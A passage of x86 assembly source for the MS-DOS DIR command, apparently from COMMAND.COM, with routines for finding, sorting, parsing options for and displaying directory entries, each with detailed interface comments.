TRANGROUP:FileSizTotal mov di,offset TRANGROUP:FileSiz movsw movsw ; move total size to size variable call DisplayCntSiz ; display file count & size dtFree: mov ah,GET_DRIVE_FREESPACE ; AH = DOS Get Free Space function mov dl,byte ptr ds:FCB ; DL = drive# int 21h ; call DOS cmp ax,-1 ; check 'invalid drive' return code jz dtRet ; can't get drive space - return mul cx mul bx mov Bytes_Free,ax mov Bytes_Free+2,dx mov dx,offset TRANGROUP:BytMes_Ptr invoke Std_Printf ; "nnn bytes free",cr,lf call UseLine dtRet: ret DisplayTotals endp ;*** FileIsDevice - see if file looks like a device ; ; ENTRY PathPos = ptr to pathname ; PathCnt = length of pathname w/o terminating char ; DirBuf is DOS DTA ; ; EXIT ZR = set if file looks like a device ; ; USED AX,BX,CX,DX,DI ; ; EFFECTS ; ; DTA buffer holds results of Find First function ; ; NOTES ; ; We try to flag devices in two ways. First, we try ; the DOS Find First function. It returns attribute bit 6 ; set on a successful find if it identifies a device name. ; Unfortunately, it returns 'path not found' for a device ; name terminated with colon, such as "CON:". So, we look ; for any colon in the pathname after the 2nd character, ; and flag the pathname as a device if we find one. FileIsDevice proc mov dx,PathPos ; DX = ptr to pathname mov di,dx add di,PathCnt ; DI = ptr to byte after pathname xor bl,bl ; BL = NUL to terminate pathname with xchg bl,byte ptr [di] ; BL = saved pathname terminating char xor cx,cx ; CX = attribute mask (normal search) mov ah,FIND_FIRST ; AH = DOS Find First function code int 21h ; call DOS xchg bl,byte ptr [di] ; restore pathname terminating char jc piCol ; didn't find a dir entry, check for colon ; Found a dir entry, see if Find First thinks it's a device. test byte ptr DirBuf.Find_Buf_Attr,ATTR_DEVICE jz piCol ; device attribute not set, look for colon xor cx,cx ; it's a device, return ZR flag jmp short piRet ; Device attribute not returned by Find First function. But ; let's check for a colon anywhere in the pathname after the ; second byte. ; ; DI = ptr to byte after pathname piCol: dec di ; DI = ptr to last char in pathname mov al,COLON_CHAR ; AL = colon char to search for mov cx,PathCnt ; CX = # chars to scan dec cx dec cx ; ignore 1st two chars of pathname or cx,cx js piRet ; if < 2 chars in pathname, just return or di,di ; clear ZR in case CX = 0 std ; scan downward repne scasb cld ; restore default upward direction ; After scanning, the ZR flag is set to indicate presence of a colon. piRet: ret FileIsDevice endp ;*** FindFirst - find first directory entry to display ;*** FindNext - find next directory entry to display ; ; ENTRY Bits<inmem> = set if entries are loaded in TPA ; AttrSpecified, AttrSelect are set ; ; EXIT CY = clear if successful ; BX = offset in TPA buffer of directory entry found ; ; If unsuccessful, ; CY = set ; AX = DOS error code ; DOS Get Extended Error call will get error code ; ; NOTE: if entries were loaded into TPA, AX contains ; ERROR_NO_MORE_FILES when no more entries are available, ; but DOS Get Extended Error call WON'T return the correct ; error. That's ok, because we'll see the value in AX ; and recognize it as a non-error condition. ; ; USED AX,CX,DX,SI,DI ; ; EFFECTS ; ; Entries in memory may be marked as output. ; If not sorted, entry is loaded at TPA. ; ; NOTES ; ; If we don't find a qualifying file, we return after the final ; DOS Find File call. A DOS Get Extended Error call will then ; indicate an appropriate condition. FindFirst proc mov ax,offset TRANGROUP:GetFirst jmp short ffFindEntry FindNext: mov ax,offset TRANGROUP:GetNext ; AX = address of correct disk get routine to use. ffFindEntry: push es ; save TRANGROUP seg addr test Bits,mask inmem jz ffDisk ; entries not in memory, search disk ; Entries are loaded in memory to sort out. Find the first one. ; There will always be one, or LoadEntries would've failed. call FindInMem ; find first entry in TPA jmp short ffRet ; return what TPA search returns ; Get entry from disk. ffDisk: call ax ; get entry from disk jc ffGetErr ; get & return error mov es,Tpa ; ES = seg addr of TPA xor di,di ; ES:DI = ptr to TPA mov bx,di ; BX = offset of entry in TPA call LoadEntry ; load entry to TPA clc ; return success jmp short ffRet ffGetErr: invoke Get_Ext_Error_Number ; AX = DOS error code stc ffRet: pop es ; ES = TRANGROUP seg addr again ret FindFirst endp ;*** FindInMem - find next directory entry in TPA buffer ; ; ENTRY TPA is loaded (see LoadEntries) ; ; EXIT BX = offset in TPA of entry found ; ; If no more files, ; CY = set ; AX = DOS 'no more files' error code ; ; USED AX,BX,CX,DX,SI,DI,BP,ES ; ; EFFECTS ; ; Entry found is flagged as 'used' (see EntryStruc). FindInMem proc mov es,Tpa ; ES = TPA seg addr xor bx,bx ; ES:BX = ptr to 1st entry in TPA cld ; make sure default string direction is up call FindOneInMem ; locate an entry jc fiNoMore ; none left, set up 'no more files' error ; BX = ptr to entry in TPA fiBest: mov bp,bx ; BP = ptr to best entry so far fiNext: call FindNextInMem ; locate next entry jc fiFound ; no more, best entry so far wins ; BX = ptr to next entry call CmpEntry ; compare it to best found so far (BP) jnb fiNext ; it's not better, go look at next one jmp fiBest ; it's better, go mark it as best so far fiNoMore: ; No more entries available in TPA. Set up 'no more files' error. mov ax,ERROR_NO_MORE_FILES ; AX = 'no more files' error code stc ; return error jmp short fiRet fiFound: mov bx,bp ; BX = ptr to best entry found mov byte ptr es:[bx],1 ; mark entry 'used' clc ; return success fiRet: ret FindInMem endp ;*** FindNextChild - find next subdirectory in current directory ; ; ENTRY BX = ptr to last child found, ASCIIZ filename ; DirBuf is established DTA ; ; EXIT BX = ptr (same addr) to next child found, ASCIIZ filename ; ; If failure, ; CY = set ; DOS Get Extended Error call will get error ; ; USED AX,CX,DX,SI,DI,BP ; ; EFFECTS ; ; DirBuf is used for find first/next calls. ; ; NOTES ; ; We keep on checking files until DOS returns an error. If ; the error is 'no more files' and the temp filename is not ; the initial high tag, copy the temp to the child's name spot ; and return success. Otherwise, send the error back to caller. ; ; This routine depends on DS,ES,CS, & SS all being equal. FindNextChild proc sub sp,12 ; make temp filename buf on stack shove 00FFh ; temp filename = high tag mov bp,sp ; BP = ptr to temp filename buf shove "*" shove ".*" call GetDriveLtr ; AX = "d:" push ax mov dx,sp ; DX = ptr to "d:*.*",0 on stack ; See that the stack is restored properly at the end of this proc. mov cx,ATTR_DIRECTORY ; CX = attributes for file search mov ah,FIND_FIRST int 21h ; DOS- Find First matching file jc fcRet ; return error call CheckChild ; check child against last, temp fcNext: mov cx,ATTR_DIRECTORY ; CX = attributes for file search mov ah,FIND_NEXT int 21h ; DOS- Find Next matching file jc fcErr ; examine error call CheckChild ; check child against last, temp jmp fcNext ; go find another child fcErr: invoke Get_Ext_Error_Number ; AX = extended error code cmp ax,ERROR_NO_MORE_FILES ; no more files? jne short fcNope ; some other error- return it ; We ran out of files. See if we qualified at least one. cmp byte ptr [bp],0FFh je fcNope ; temp filename is unused- no child ; Move temp filename to child name position. mov si,bp ; SI = ptr to temp filename mov di,bx ; DI = ptr to child name pos'n fcMove: lodsb ; AL = next byte of filename stosb ; store byte or al,al jz fcRet ; byte was zero, return success (CY clear) jmp fcMove ; go move another byte fcNope: stc ; return error fcRet: lahf add sp,20 ; restore stack sahf ret FindNextChild endp ;*** FindOneInMem - find the first available entry in TPA ;*** FindNextInMem - find the next available entry in TPA ; ; ENTRY ES = TPA seg addr ; BX = ptr to entry in TPA ; ; EXIT BX = ptr to entry found ; CY = set if no more entries available in TPA ; ; USED AL FindOneInMem proc mov al,es:[bx] ; examine 'used' byte of starting entry cmp al,1 je FindNextInMem ; entry has already been used cmp al,0FFh je foNoMore ; 0FFh, we're at the end of the list ; BX = ptr to entry that hasn't been output yet. clc ; return success ret FindNextInMem: add bx,size EntryStruc ; BX = ptr to next entry jmp FindOneInMem ; go look at it foNoMore: stc ; ran out of entries, return failure ret FindOneInMem endp ;*** GetEnvValue - get value of our environment variable ; ; ENTRY DS, ES = TRANGROUP seg addr ; ; EXIT CY = set if environment variable not in environment ; ; Otherwise: ; SI = ptr to environment variable asciiz value in TRANGROUP ; ; USED AX,BX,CX,DX,DI ; (We assume the (almost) worst, since we don't know about ; Find_Name_In_Environment.) ; ; EFFECTS ; ; ScanBuf is loaded with value text GetEnvValue proc push es ; save ES mov si,offset TRANGROUP:DirEnvVar ; DS:SI = ptr to variable name invoke Find_Name_In_Environment jc geRet ; name not found in environment ; ES:DI = ptr to value of environment variable ; We're assuming DS, CS, and SS are unchanged. push ds push es pop ds pop es assume ds:nothing ; DS = seg addr of environment variable value (in environment segment) ; ES = TRANGROUP seg addr mov si,di ; DS:SI = ptr to value string mov di,offset TRANGROUP:ScanBuf ; ES:DI = ptr to dest buffer @@: lodsb or al,al stosb loopnz @B ; move the string, including trailing null push es pop ds ; DS = TRANGROUP seg addr again assume ds:TRANGROUP mov si,offset TRANGROUP:ScanBuf ; SI = ptr to var value geRet: pop es ; restore ES ret GetEnvValue endp ;*** GetFirst - get first directory entry from disk ; ; ENTRY DOS DTA established at DirBuf ; FCB contains drive # and filename ; Current directory (on selected drive) is the one to search ; AttrSpecified & AttrSelect masks set ; ; EXIT CY = clear if success ; DirBuf contains extended FCB for file found ; ; If unsuccessful, ; CY = set ; Ready for DOS Get Extended Error call ; ; USED AX,DX ; ; EFFECTS ; ; FCB-7 = 0FFh to mark extended FCB ; FCB-1 = attribute mask to find all files ; These fields should remain unmodified for GetNext calls. ; ; ;*** GetNext - get next directory entry from disk ; ; ENTRY As for GetFirst, plus ; FCB-7 set up as extended FCB w/ find-all attribute byte ; ; EXIT As for GetFirst ; ; USED AX,DX GetFirst proc mov byte ptr ds:FCB-7,0FFh ; signal extended FCB mov byte ptr ds:FCB-1,ATTR_ALL ; find any file mov dx,FCB-7 ; DX = ptr to extended FCB mov ah,DIR_SEARCH_FIRST ; AH = DOS Find First function code int 21h ; call DOS shl al,1 ; CY = set if error jc gfRet ; return error jmp short gfFound ; go look at attr's GetNext: mov dx,FCB-7 ; DX = ptr to extended FCB mov ah,DIR_SEARCH_NEXT ; AH = DOS Find Next function code int 21h ; call DOS shl al,1 ; CY = set if error jc gfRet ; return error ;* Found an entry. Check attributes. gfFound: mov al,[DirBuf+8].dir_attr ; AL = file attributes mov ah,AttrSpecified ; AH = mask of pertinent attr's and al,ah ; AL = pertinent attr's of file and ah,AttrSelect ; AH = attr settings to match cmp al,ah jne GetNext ; attr's don't match, look for another gfRet: ret GetFirst endp ;*** ListDir - search for and list files in the current directory ; ; List header, files, and trailer for current directory on selected ; drive. Header & trailer are listed if at least one file is found. ; If no qualifying files are found, no display output occurs. ; ; ENTRY Current directory (on selected drive) is the one to be listed ; FCB contains selected drive # and filename spec ; Option bits, attribute masks, and sort codes set up ; ; EXIT CY = clear if no error ; FileCnt = # files found & displayed ; ; If error, ; CY = set ; Ready for DOS Get Extended Error call ; ; USED AX,BX,CX,DX,SI,DI,BP ; FileSiz ; ; EFFECTS ; ; FileCntTotal, FileSizTotal are updated. ; Files found are listed. A directory header and trailer are ; displayed only if files are found. ListDir proc xor ax,ax mov FileCnt,ax ; zero file count mov word ptr FileSiz,ax ; zero file size accumulator mov word ptr FileSiz+2,ax cmp DestBuf,0 ; check for sort code je @F ; no sort call LoadEntries ; load entries for sorted listing jnc @F ; no error - continue invoke Get_Ext_Error_Number ; AX = DOS error code stc jmp short ldErr ; return error @@: call FindFirst ; find first file jc ldErr ; not found, return error ; BX = offset in TPA buffer of entry found call DisplayHeader ; if at least one file, display header call DisplayFile ; display the file entry ldNext: call FindNext ; find another file jc ldErr ; not found call DisplayFile ; display entry jmp ldNext ; go find another one ldErr: cmp ax,ERROR_FILE_NOT_FOUND je ldDone ; file not found, we're done cmp ax,ERROR_NO_MORE_FILES je ldDone ; no more files, we're done stc jmp short ldRet ldDone: cmp FileCnt,0 je @F ; no files found, just return call DisplayTrailer ; display trailing info @@: clc ; return success ldRet: ret ListDir endp ;*** LoadEntries - attempt to load entries from current directory ; ; Load all qualifying directory entries from the current directory ; into the TPA. If an error is returned by FindFirst/FindNext calls ; other than 'no more files', return to caller with carry flag set. ; If we run out of buffer space, display a message that we haven't ; enough memory to sort this directory, but return without error. ; Other routines know whether or not entries have been loaded by ; the 'inmem' flag bit, which we set here. ; ; The TPA is usually 64K - 512 bytes long. At 20 bytes per entry, ; this allows sorting over 3000 entries in a directory. ; ; ENTRY Tpa = buffer seg addr ; BytCnt = buffer length, in bytes ; Current directory (on selected drive) is the one to load ; FCB contains drive # and filespec ; Bits, AttrSpecified, AttrSelect, & DestBuf (sort codes) are set ; ; EXIT CY = set if error ; If error, DOS Get Extended Error will get error info ; ; USED AX,CX,DX,SI,DI ; ; EFFECTS ; ; Inmem bit of Bits = set if load succeeded. ; Tpa buffer contains directory entries. ; Byte after last entry = 0FFh. LoadEntries proc push es ; save TRANGROUP seg addr mov es,Tpa ; ES = TPA seg addr xor di,di ; ES:DI = destination ptr and Bits,not mask inmem ; signal entries not loaded call GetFirst ; look for first file jc leRet ; return any error call LoadEntry ; load entry into TPA leNext: call GetNext ; get another file jc leLoaded ; assume any error is no more files mov ax,BytCnt ; AX = size of TPA sub ax,di ; AX = bytes left in TPA cmp ax,size EntryStruc+2 ; insist on entry size + 2 bytes jb leOk ; not enough memory left, give up call LoadEntry ; load entry into TPA jmp leNext ; go get another file leLoaded: mov byte ptr es:[di],0FFh ; mark end of entry list or Bits,mask inmem ; signal entries loaded in memory leOk: clc ; return no error leRet: pop es ; ES = TRANGROUP seg addr again ret LoadEntries endp ;*** LoadEntry - load directory entry from DirBuf ext'd FCB ; ; ENTRY ES:DI = ptr to load point in TPA ; DirBuf contains extended FCB of entry to load ; ; EXIT ES:DI = ptr to next byte available in TPA ; ; USED AX,CX,SI ; ; NOTES ; ; I could've used symbolic offsets and sizes of fields from ; the dir_entry struc to do this, but this is time-critical, ; so I hard-wired the structure of the DOS 4.x returned FCB, ; as well as our private directory entry structure. ; ; We force a zero size for subdirectory files. A zero size is ; ordinarily returned for subdirectories, but with Novell ; Netware 286 or 386 loaded, we can't depend on it. Bug #1594. LoadEntry proc mov si,offset TRANGROUP:Dirbuf+8 ; DS:SI = ptr to filename xor al,al ; AL = 0 stosb ; 'used' byte = false mov cx,11 rep movsb ; transfer filename & extension lodsb ; AL = attrib byte stosb ; store attrib byte add si,dir_time-dir_attr-1 ; skip to time field movsw ; transfer time movsw ; transfer date inc si ; skip alloc unit inc si and al,ATTR_DIRECTORY jnz leSetDirSize ; force zero size for subdir movsw movsw ; transfer size ret leSetDirSize: xor ax,ax stosw stosw ; store zero size ret LoadEntry endp ;*** NoOrder - turn sorting off ; ; ENTRY nothing ; ; EXIT CY clear ; ; USED AX ; ; EFFECTS ; ; DestBuf is updated with sort code bytes. See DestBuf description. NoOrder proc mov DestBuf,0 ; no sort clc ; no error ret NoOrder endp ;*** OnOffSw - record occurence of on/off option switch ; ; ENTRY DI = index into word list of switches ; ; EXIT CY clear ; ; USED AX,CX ; ; EFFECTS ; ; Bits modified to indicate option state. OnOffSw proc mov cx,di ; CX = index into word list of options shr cx,1 shr cx,1 ; CX = bit position of option mov ax,1 shl ax,cl ; AX = bit mask of option test di,2 ; check if it is a negated option jz @F ; it's negated or Bits,ax ; turn option on jmp short ooRet @@: not ax ; AX = complemented bit mask of option and Bits,ax ; turn option off ooRet: clc ; always return success ret OnOffSw endp ;*** ParseAttr - parse and record /A option ; ; ENTRY BX = ptr to system parser result buffer for /A occurence ; ; EXIT CY = set if error occurs parsing attribute conditions ; ; For parse error, we set up for Std_EPrintf call: ; AX = parse error code, like system parser ; DX = ptr to message block ; ; USED AX,CX,DX,DI ; ; EFFECTS ; ; AttrSpecified, AttrSelect are updated with new attribute conditions. ; If parse error occurs, attribute conditions parsed so far hold. ; ; For parse error, we set up for Std_EPrintf call: ; Msg_Disp_Class = parse error message class ; Message block (see DX) is set up for parse error message ParseAttr proc push si ; save SI mov AttrSpecified,0 ; cancel all attribute conditions ; Each /A invocation starts by assuming all files are to be listed. mov si,word ptr [bx].ValuePtr ; SI = ptr to string after /A paLoop: mov dx,1 ; DX = 1 (for un-negated attribute) lodsb ; AL = next char in string or al,al jz paOk ; it's terminating null, we're done cmp al,'-' jne @F ; not '-', go look for letter dec dx ; DX = 0 (for negated attribute) lodsb ; AL = next char @@: mov di,offset TRANGROUP:AttrLtrs ; DI = ptr to attrib letter list mov cx,NUM_ATTR_LTRS ; CX = length of attrib letter list repne scasb ; look for our letter in the list jne paErr ; not found, return error not cx add cx,NUM_ATTR_LTRS ; CX = attrib bit #, 0-5 ; Note that we rely on AttrLtrs to be in the attribute bit order, ; starting from bit 0. ; Record this attribute bit in AttrSpecified. mov al,1 shl al,cl ; AL = mask for our bit or AttrSpecified,al ; set it in the 'specified' mask ; Record the selected state for this attribute in AttrSelect. ; DX = 0 or 1, the selected state for this attribute. not al ; AL = mask for all other bits and AttrSelect,al ; clear our bit shl dl,cl ; DL = our bit state in position or AttrSelect,dl ; set selected attr state jmp paLoop ; go look at next char ; The attribute letter string is invalid. paErr: call SetupParamError ; set message up for Std_EPrintf stc ; return error jmp short paRet paOk: clc ; return success paRet: pop si ; restore SI ret ParseAttr endp ;*** ParseLine - parse a line of text ; ; Parse text until an EOL (CR or NUL) is found, or until a parse ; error occurs. ; ; ENTRY DS:SI = ptr to text ; CS, DS, ES = TRANGROUP seg addr ; ; EXIT AX = last return code from system parser ; CX = # positional parameters (pathnames) found - 0 or 1 ; ; If parse error occurred, we're set up for Std_EPrintf call: ; DX = ptr to message block ; ; USED BX,CX,DX,SI,DI ; ; EFFECTS ; ; Bits may contain new option settings. ; DestBuf may contain new series of sort codes. ; AttrSpecified, AttrSelect may contain new attribute conditions. ; SrcBuf may contain a new default pathname/filespec. ; PathPos, PathCnt updated for new pathname. ; ; If parse error occurred, we're set up for Std_EPrintf call: ; Msg_Disp_Class = parse error class ; Byte after last parameter in text is zeroed to make ASCIIZ string ; Message block (see DX) is set up for parse error message ParseLine proc mov di,offset TRANGROUP:Parse_Dir ; ES:DI = ptr to parse block xor cx,cx ; CX = # positionals found plPars: invoke Parse_With_Msg ; call parser cmp ax,END_OF_LINE je plRet ; EOL encountered, return cmp ax,RESULT_NO_ERROR jne plRet ; parse error occurred, return ; Parse call succeeded. We have a filespec or a switch. ; DX = ptr to result buffer mov bx,dx ; BX = ptr to parse result buffer cmp byte ptr [bx],RESULT_FILESPEC je plFil ; we have a filespec call ParseSwitch ; else we have a switch jc plRet ; error parsing switch, return jmp plPars ; parse more plFil: call CopyPathname ; copy pathname into our buffer jmp plPars ; parse more plRet: ret ParseLine endp ;*** ParseOrder - parse and record /O option ; ; ENTRY BX = ptr to system parser result buffer for /O occurence ; ; EXIT CY = set if error occurs parsing order ; ; For parse error, we set up for Std_EPrintf call: ; AX = parse error code, like system parser ; DX = ptr to message block ; ; USED AX,CX,DX,DI ; ; EFFECTS ; ; DestBuf is updated with sort code bytes. See DestBuf description. ; ; For parse error, we set up for Std_EPrintf call: ; Msg_Disp_Class = parse error message class ; Message block (see DX) is set up for parse error message ParseOrder proc push si ; save SI push bx ; save ptr to result buffer mov si,word ptr [bx].ValuePtr ; SI = ptr to order letters mov bx,offset TRANGROUP:DestBuf ; BX = ptr to sort code buffer mov al,[si] ; AL = 1st char of order string or al,al jnz poLtr ; not NUL, go parse letters ; We have /O alone. Set standard sort order. ; Note hardwired dependency on character order in OrderLtrs. mov byte ptr [bx],5 ; sort 1st by group (subdirs 1st) inc bx mov byte ptr [bx],1 ; then by name inc bx mov byte ptr [bx],2 ; then by extension inc bx jmp short poOk ; return success ; We have /O<something>. Parse sort order letters. poLtr: xor dl,dl ; DL = 0 (upward sort) lodsb ; AL = next sort order letter or al,al jz poOk ; NUL found, return success cmp al,'-' jne @F ; not '-', go look for letter mov dl,80h ; DL = downward sort mask lodsb ; AL = next char @@: mov di,offset TRANGROUP:OrderLtrs ; DI = ptr to list of letters mov cx,NUM_ORDER_LTRS ; CX = length of list repne scasb ; look for our letter in the list jne poErr ; not found, return error neg cx add cx,NUM_ORDER_LTRS ; CL = sort order code, 1-5 or cl,dl ; CL = sort code with up/dn bit mov [bx],cl ; store sort order code in buffer inc bx ; BX = ptr to next spot in buffer cmp bx,offset TRANGROUP:EndDestBuf jae poErr ; too many letters jmp poLtr ; go look at next char ; The sort order string is invalid. poErr: pop bx ; BX = ptr to result buffer call SetupParamError ; set message up for Std_EPrintf stc ; return failure jmp short poRet poOk: mov byte ptr [bx],0 ; mark end of sort code list pop bx ; BX = ptr to result buffer clc ; return success poRet: pop si ; restore SI ret ParseOrder endp ;*** ParseSwitch - parse a switch ; ; ENTRY BX = ptr to parse result buffer after system parser processed ; a switch ; ; EXIT CY = set if parse error occurred ; ; If parse error occurred, we're set up for Std_EPrintf call: ; AX = parse error code, like system parser ; DX = ptr to message block ; ; USED AX,BX,DX ; ; EFFECTS ; ; Bits may contain new option settings. ; DestBuf may contain new series of sort codes. ; AttrSpecified, AttrSelect may contain new attribute conditions. ; ; If parse error occurred, we're set up for Std_EPrintf call: ; Msg_Disp_Class = parse error class ; Byte after last parameter in text is zeroed to make ASCIIZ string ; Message block (see DX) is set up for parse error message ParseSwitch proc push cx ; save CX push di ; save DI mov ax,[bx].SynPtr ; AX = synonym ptr mov di,offset TRANGROUP:Dir_Sw_Ptrs ; ES:DI = ptr to list of synonym ptrs mov cx,NUM_DIR_SWS ; CX = # of dir switches in list cld ; scan direction = upward repne scasw ; locate synonym ptr in list sub di,offset TRANGROUP:Dir_Sw_Ptrs + 2 ; DI = index into word list of synonym ptrs call cs:SwHandlers[di] ; use same index into call table pop di ; restore DI pop cx ; restore CX ret ; Order in this table must correspond to order in Dir_Sw_Ptrs list. ; Simple on/off switches must occur first in both lists, and must be ; in order of option bits in Bits, starting with bit 0. SwHandlers label word dw OnOffSw ; /-W dw OnOffSw ; /W dw OnOffSw ; /-P dw OnOffSw ; /P dw OnOffSw ; /-S dw OnOffSw ; /S dw OnOffSw ; /-B dw OnOffSw ; /B dw OnOffSw ; /-L ;M010 dw OnOffSw ; /L ;M010 dw NoOrder ; /-O dw ParseOrder ; /O dw DefaultAttr ; /-A dw ParseAttr ; /A ParseSwitch endp break <DIR utility routines> ;*** UTILITY ROUTINES ;*** ChangeDir - change directory on target drive ; ; ENTRY FCB contains drive # ; DS:DX = ptr to ASCIIZ string w/o drive specifier ; ; EXIT Changed current directory on drive ; ; If error, ; CY = set ; DOS Get Extended Error call will get error ; ; USED AX,DX,SI,DI ; ; EFFECTS ; ; DirBuf is used to build "d:string". ChangeDir proc mov di,offset TRANGROUP:DirBuf call GetDriveLtr ; AX = "d:" stosw ; put drive specifier in buffer mov si,dx ; SI = ptr to argument string cdLoop: lodsb stosb ; move byte to buffer or al,al jne cdLoop ; continue until null transferred mov dx,offset TRANGROUP:DirBuf ; DX = ptr to "d:string" mov ah,CHDIR int 21h ; change directory ret ; return what CHDIR returns ChangeDir endp ;*** CmpAscz - compare two ASCIIZ strings alphanumerically ; ; ENTRY DS:SI = ptr to one ASCIIZ string ; ES:DI = ptr to another ASCIIZ string ; ; EXIT flags set after REPE CMPSB ; ; USED AL,CX,SI,DI ; ; NOTES ; ; Maximum run of comparison is length of DS:SI string. ; This ensures that two identical strings followed by ; random characters will compare correctly. CmpAscz proc push di mov di,si xor al,al mov cx,0FFFFh repne scasb not cx pop di repe cmpsb ret CmpAscz endp ;*** CopyPathname - copy pathname to our buffer ; ; ENTRY BX = ptr to parse result buffer after system parser processed ; a filespec ; ; EXIT nothing ; ; USED AX ; ; EFFECTS ; ; SrcBuf may contain a new pathname/filespec. ; PathPos, PathCnt updated for new pathname. CopyPathname proc push si lds si,dword ptr [bx].ValuePtr ; load far ptr from result buffer invoke Move_To_SrcBuf ; copy pathname to SrcBuf pop si ret CopyPathname endp ;*** CountFile - update counters with current file ; ; ENTRY BX = offset of entry in TPA buffer ; ; EXIT nothing ; ; USED AX,DX ; ; EFFECTS ; ; FileCnt, FileCntTotal, FileSiz, FileSizTotal are updated. CountFile proc push es ; save TRANGROUP seg addr mov es,Tpa ; ES = TPA seg addr inc FileCnt ; # files this directory inc word ptr FileCntTotal ; # files total jnz @F inc word ptr FileCntTotal+2 @@: mov ax,word ptr es:[bx].filesize ; AX = low word of file size mov dx,word ptr es:[bx].filesize+2 ; DX = high word of file size add word ptr FileSiz,ax adc word ptr FileSiz+2,dx ; size of this directory add word ptr FileSizTotal,ax adc word ptr FileSizTotal+2,dx ; total size of files listed pop es ; ES = TRANGROUP seg addr again ret CountFile endp ;*** DisplayBare - display filename in bare format ; ; ENTRY BX = offset of entry in TPA buffer ; ; EXIT DX = # char's displayed, including dot ; ; USED AX,CX,SI,DI ; ; EFFECTS ; ; Filename is displayed in name.ext format, followed by cr/lf. ; If /s is on, complete pathname is displayed. ; ; NOTE ; ; Directory pseudofiles . and .. and suppressed in bare listing. DisplayBare proc ; Suppress . and .. files from bare listing. mov cx,ds ; CX = saved TRANGROUP seg addr mov ds,Tpa ; DS:BX = ptr to file entry assume ds:NOTHING cmp ds:[bx].filename,'.' ; check 1st char of filename mov ds,cx ; DS = TRANGROUP seg addr again assume ds:TRANGROUP je dbRet ; it's . or .. - don't display test Bits,mask subd jz dbNameExt ; not /s - display filename only invoke Build_Dir_String mov di,offset TRANGROUP:BwdBuf ; ES:DI = ptr to dir string test Bits,mask lcase ;M010;check for lowercase option jz @F ;M010;lowercase not needed mov si,di ;M010;DS:SI --> ASCIIZ string in BwdBuf call LowercaseString ;M010;path string is in BwdBuf @@: xor al,al ; AL = 0 mov cx,0FFFFh cld repne scasb ; ES:DI = ptr to byte after null dec di ; ES:DI = ptr to null byte ifdef DBCS push si push di mov si,offset TRANGROUP:BwdBuf dec di call CheckDBCSTailByte pop di pop si jz dbTailByte ; if last char is double byte endif cmp byte ptr es:[di-1],'\' je @F ; already terminated w/ '\' ifdef DBCS dbTailByte: endif mov ax,'\' ; AX = '\',0 stosw ; add to dir string @@: mov String_Ptr_2,offset TRANGROUP:BwdBuf mov dx,offset TRANGROUP:String_Buf_Ptr invoke Std_Printf ; display device & directory path dbNameExt: call DisplayDotForm ; display name.ext invoke CrLf2 ; display cr/lf call UseLine ;M007;Allow /p with /b dbRet: ret DisplayBare endp ;*** DisplayDotForm - display filename in compressed dot format ; ; Display name.ext, with no cr/lf's. Dot is displayed only ; if the filename has a nonblank extension. ; ; ENTRY BX = offset of entry in TPA buffer ; ; EXIT DX = # char's displayed, including dot ; ; USED AX,CX,SI,DI ; ; EFFECTS ; ; Filename is displayed in name.ext format. ; ; NOTE ; ; We allow for bogus filenames that have blanks embedded ; in the name or extension. ; Bugbug: might be a good performance gain if we buffered ; up the output and used DOS function 9. DisplayDotForm proc push ds ; save TRANGROUP seg addr push es ; save ES mov ax,cs:Tpa ; AX = TPA seg addr mov ds,ax ; DS:BX = ptr to entry assume ds:nothing mov es,ax ; ES:BX = ptr to entry mov di,bx ; ES:DI = ptr to entry add di,filename + size filename - 1 ; ES:DI = ptr to last char in name field mov cx,size filename ; CX = length of name field mov al,' ' std ; scan down repe scasb ; scan for nonblank ; Assume file name has at least one character. inc cx ; CX = # chars in name mov dx,cx ; DX = # chars to be displayed mov si,bx ; DS:SI = ptr to entry add si,filename ; DS:SI = ptr to name NextNameChar: cld lodsb ; AL = next char ifdef DBCS invoke testkanj jz @f ; if this is not lead byte invoke Print_Char ; display lead byte dec cx jz ExtChar ; if this is end lodsb ; get tail byte jmp short NameChar10 ; display tail byte @@: endif test Bits,mask lcase ;M010;check for lowercase option jz @F ;M010;lowercase not required call LowerCase ;M010;filename char is in AL ifdef DBCS NameChar10: endif @@: invoke Print_Char ; display it loop NextNameChar ifdef DBCS ExtChar: endif ; Now do extension. mov di,bx ; ES:DI = ptr to entry add di,fileext + size fileext - 1 ; ES:DI = ptr to last char in ext field mov cx,size fileext ; CX = length of ext field mov al,' ' std ; scan down repe scasb ; scan for nonblank je ddDone ; no nonblank chars in ext inc cx ; CX = # chars in ext add dx,cx ; DX = total # chars to be displayed inc dx ; including dot mov al,'.' invoke Print_Char mov si,bx ; DS:SI = ptr to entry add si,fileext ; DS:SI = ptr to ext NextExtChar: cld lodsb ; AL = next char ifdef DBCS invoke testkanj jz @f ; if this is not lead byte invoke Print_Char ; display lead byte dec cx jz ddDone ; if this is end lodsb ; get tail byte jmp short ExtChar10 ; display tail byte @@: endif test CS:Bits,mask lcase ;M010;check for lowercase option jz @F ;M010;lowercase not required call LowerCase ;M010;fileext char is in AL ifdef DBCS ExtChar10: endif @@: invoke Print_Char ; display it loop NextExtChar ddDone: pop es ; restore ES pop ds ; DS = TRANGROUP seg addr again assume ds:TRANGROUP cld ; leave direction flag = up ret DisplayDotForm endp ;*** DisplayFile - display file entry, update counters ; ; ENTRY BX = offset of entry in TPA buffer ; Bits contains /w, /p settings ; ; EXIT nothing ; ; USED AX,CX,DX,SI,DI,BP ; ; EFFECTS ; ; Entry is displayed. ; If not /b, ; Cursor is left at end of entry on screen. ; FileCnt, FileCntTotal, FileSiz, FileSizTotal are updated. ; If /b, ; Cursor is left at beginning of next line. ; Cnt's and Siz's aren't updated. DisplayFile proc test Bits,mask bare jz dfNorm ; not /b - do normal display call DisplayBare ; display file in bare format jmp short dfRet dfNorm: call DisplayNext ; pos'n cursor for next entry test Bits,mask wide jz dfFull ; full format call DisplayWide ; wide format jmp short dfCnt dfFull: call DisplayName ; display filename & extension call DisplayTheRest ; display size, date, time dfCnt: call CountFile ; update file counters dfRet: ret DisplayFile endp ;*** DisplayHeader - display directory header of working directory ; ; ENTRY Current directory (on selected drive) is the one to display ; LeftOnPage = # lines left on display page ; ; EXIT nothing ; ; ERROR EXIT ; ; Build_Dir_String will exit through CError with "Invalid drive ; specification" if there's a problem obtaining the current ; directory pathname. ; ; USED AX,DX,SI,DI ; ; EFFECTS ; ; BwdBuf (which is really the same buffer as DirBuf, which ; we are using for the DTA) contains the directory string. ; LeftOnPage is adjusted. DisplayHeader proc test Bits,mask bare jnz dhRet ; /b - don't display header test Bits,mask subd jz dhNorm ; not /s ; For subdirectory listings, put a blank line before the header. invoke Crlf2 ; start with a blank line call UseLine jmp short dhCom 